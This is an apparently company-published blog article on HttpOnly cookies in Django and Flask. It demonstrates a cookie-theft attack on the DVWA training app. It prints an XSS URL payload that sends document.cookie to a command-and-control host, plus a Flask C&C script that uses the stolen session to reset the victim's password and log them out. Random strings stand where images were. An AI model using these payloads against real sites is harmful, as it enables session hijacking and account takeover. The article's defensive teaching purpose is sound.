Back to articles

Web applications and HttpOnly cookies - why should you care?

There are numerous not obvious nuances that can affect the way our web application works in terms of software security. Negligence in implementing some defensive mechanisms can have a disastrous effect on our project, especially when combined with other problems. All in our security is as strong as its weakest link. In the article, I will present one of those links which software developers are sometimes unaware of - cookies accessible via JavaScript and I’ll show how to deal with an attack using Django or Flask and HttpOnly cookies.

In this article

In the previous article, I have talked about a way to limit the impact overlooking an XSS error can have upon our web application. Today I would like to show a short example of what can actually go wrong if we overlook an XSS and commit an error that allows accessing session cookies from JavaScript.

Before I proceed a quick note on naming convention: MDN uses “HTTP-only” name, whereas OWASP calls this mechanism “HttpOnly”, wheres Django docs use “HTTPOnly”, I will stick to the second one for consistency with what is actually sent from a server.

What is HttpOnly?

Quoting MDN:

This feature is a new attribute for cookies which prevents them from being accessed through client-side script. A cookie with this attribute is called an HTTP-only cookie. Any information contained in an HTTP-only cookie is less likely to be disclosed to a hacker or a malicious Web site. The following example is a header that sets an HTTP-only cookie.

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

There is an important thing to keep in mind that was mentioned in Django docs:

HTTPOnly is a flag included in a Set-Cookie HTTP response header. It is not part of the RFC 2109 standard for cookies, and it isn’t honored consistently by all browsers.

I have checked browserscope.org to see whether it would help me identify such browsers, but it seems that all do implement it so I guess that all modern browsers should do it. You should, however, verify it on your own if you need to support some “eccentric” users.

OK, but I still do not see why should I care?

I will quickly show you how I am able to exploit an XSS to perform actions in the name of a user. In this example, I will attack a DVWA project website to change the user’s password (all with the author’s permission). The cool part is that due to having access to user’s cookies we will be able to perform the action in their name not knowing their login credentials.

There is a form that allows you to choose, with GET requests, which language a page should be displayed in.

65c2726867209972ca31075c wr3kdnprxhmzctrklxz9ff c3jixkm3bpdguwxemkyg8l26hf 06t1vrmbwazllvz784tyf37oaywl2u07kiqrg17ljhslxpwnocs53ymvz4ktkhfgbo4d81znjkrimbk7zwzczg

If we inspect code it will become clear that if we close “option” and “select” tags, we can insert additional tags. Because <script> is filtered out, we will use <img> tags. Let’s check what will happen if we enter http://localhost/vulnerabilities/xss_d/?default=English%3C/option%3E%3C/select%3E%3Cimg%20src=%22x%22%20onerror=%22alert(document.cookie)%22/%3E in the address bar.

65c2726867209972ca310770 aynkbk0cu85sqvcwb87lknrxjibylasoveu2rbdlxurhuothjlyrb4trmr0rbwnchengkv0fixd4ilgvf0d7izv 4fhttxmqhro1nuxvqo zfgh3f8fihcwf ptmqd9b9j1q7pu

Great! We have gained access to cookies including PHPSESSID. Let’s keep it in mind. DVWA application has another problem: it does not verify whether a person changing password knows current one (this is also exploitable through CSRF, but we will not use it now). In order to automate the process, I will set up a separate web application that will act as the Command And Control server (further referenced as C&C). This will allow us to perform more advanced actions like setting a different password for each user we target, or collecting some statistics, or making multiple requests and so on.

# !/usr/bin/env python3
import requests from flask import Flask, request, Response
 
application = Flask(__name__)


@application.route('/data-dump/', methods=['POST'])
def data_dump():
with open('/root/services/dvwa/dump.log', 'w+') as f:
  f.write(str(request.data))

data_str = request.data.decode('utf-8')
  cookies_list = data_str.split('; ')
  cookies_dict = {}
  for cookie in cookies_list:
k, v = cookie.split('=')
      cookies_dict[k] = v

response = requests.get(
  url='http://192.168.99.240/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change',
      headers={
'Referer': 'http://192.168.99.240/vulnerabilities/csrf/'
      },
cookies=cookies_dict
)
# logout
requests.get(
url='http://192.168.99.174/logout.php',
headers={
'Referer': 'http://192.168.99.174/vulnerabilities/csrf/'
        },
cookies=cookies_dict
)


# Prevent errors in client's console.
response = Response()
response.headers['Access-Control-Allow-Origin'] = '*'
return response
if __name__ == '__main__':
 application.run(host='0.0.0.0', port=80)

Payload:

http://localhost/vulnerabilities/xss_d/?default=></option></select><img src="" onerror="
var xhr=new XMLHttpRequest;
xhr.open('POST', 'http://192.168.99.244/data-dump/');
xhr.onload = function(){};
xhr.send(document.cookie);">

Let’s break down it a little bit to understand what’s going on. C&C server is listening for HTTP requests, logs data it receives in a file called “dump.log”, and performs a request using a stolen session cookie to set new password credentials (password is changed to “test”). The last step is logging out the user in order to ensure that even if they get suspicious, it’ll be too late for them to do anything. Note that we are very flexible here. If the form was protected with CSRF tokens we could perform a GET request first to obtain the token.

The payload simply sends an XHR POST request to C&C with a session cookie. Unfortunately this leaves the layout broken, which could alarm potential user, so in a real-world scenario we would have to take care of this issue and overwrite page contents in a little bit more subtle way (which is what I’ve done but since it’s trivial and does not have impact upon the core feature, I’ve decided to skip it in order to improve readability). Of course, this makes our URL longer, which could be a problem, but we can use a URL shortener. The last thing would be to convince a user to click this link.

Now that we have all set up, let’s begin the fun part.

First, our users log into the application with default credentials (admin/password).

65c2726867209972ca31077c xufqxma wyt9unijc t9 zctnzyzl8n2bzmhi7r5qmkahoo1erbokmsgnx0ohy5eyez85nhahexnsw kwwuoudf6jkka8qpafz3blwk689p85xzdvkbejaccept703ogznvazmdx

 

65c2726867209972ca310761 pfzi5ugvogkztzsx5vyu1n43xe3lluoj gjkz952etp lihmie8qa2kzjsp3azfby c368cll 9jgas6uaxsafczui4pd94yew0lgjvj4wqe pzj37naqf4wnt6 lpxwyro1xxwm

Next, they are attracted to the link we have given them and click it.

65c2726867209972ca310768 d 7yan letyk5ebfrg7y iuh93xzxqmd1560sa82xttqcd5y80dbsut7mgrylw3tybtuohs6s hzqrbnxb27hm7yvekhyz6cxykimanqyjxd3rdip3xq9vr xxtrfmszgqnqjvu8
65c2726867209972ca310776 2yq2b0sfhxuoml6grjeepzly5kkqrvea55cx ao6y6f9r1ipq7ib5wxar50v1ebzagghs3klfsxw515qh8llq5rje6dmlff7npfdrnlq1yangtglbyeqxu7ymcdfys2qjzxpn2ig

It seems that there’s something wrong here. Users want to change the password, but when they click on any link they see that they’ve been logged out and to make things worse, their old password does not work.

65c2726867209972ca310764 bouke7ed7fv1hjgpao3qaa6ijbrdqsz4qugz5xmqr8jpt1ec f p0clzqa3cndbqtuh lq8xo5zjoccxfiqjy 12gfzmusj2u2st4bcefpqf2ldxtqr2ptzox1l8pbnntebpdwn

They would have to enter new credentials in order to regain access.

65c2726867209972ca31076c wkbh1indrquw3rmii gky36gkmm x wigyghkkvmouiztlsus3qg9wzrh7w8grdalztrqv rees2amvlvb0mf3oz9zi8qrdvy38umgopodsbrcjbvecquzpphblbx5irohjis2qw

In the aftermath of the vulnerabilities, we have taken over the admin account not knowing their password, which took one click and below one second thanks to automating the process. It was possible due to a series of negligences that were found in the application: the XSS, lack of protection against accessing cookies from JavaScript and poorly protected password change form. If the developer had set HttpOnly cookie header, the attack scope would have been much more limited since the C&C wouldn’t be able to perform any action in their name.

What should I do to set it in Django or Flask?

Nothing. It’s there by default for you in Django. When you log into the admin panel for example, you can see this while inspecting server response:

 

65c2726867209972ca3107a8 thkfe31ctqwnnxug5yis8ptl93mwbgb36zdqakbybj4urjl22pwaca9kedx8gktoyogxjny7huhtw2vfulqzbb86kuhpfkdbo6x6253l7jaeaajljbzlubjvvv6otozihx8e1wam

When we disable CSP mechanisms from the previous article we will see that session cookie is not accessible via JavaScript:

 

65c2726867209972ca310782 l9i5g9vu vkqb8n 7wskpqv31a1jxz9wqcraxumlcpqw 9zxqbo3ve32ux6nijyr0stpgndeylmn9ondkyyojnmlhzr4s6mdyrtmirmucyfgqigtljsqguiyaagwe m8 hj9oiyt

Flask, on the other hand, requires an additional library (Flask-Sessions) to be installed, but it also sets cookies to HttpOnly by default.

Want to rise your backend skills and share your knowledge with others? Join our team, we’re hiring programmers

 

Let's connect and build together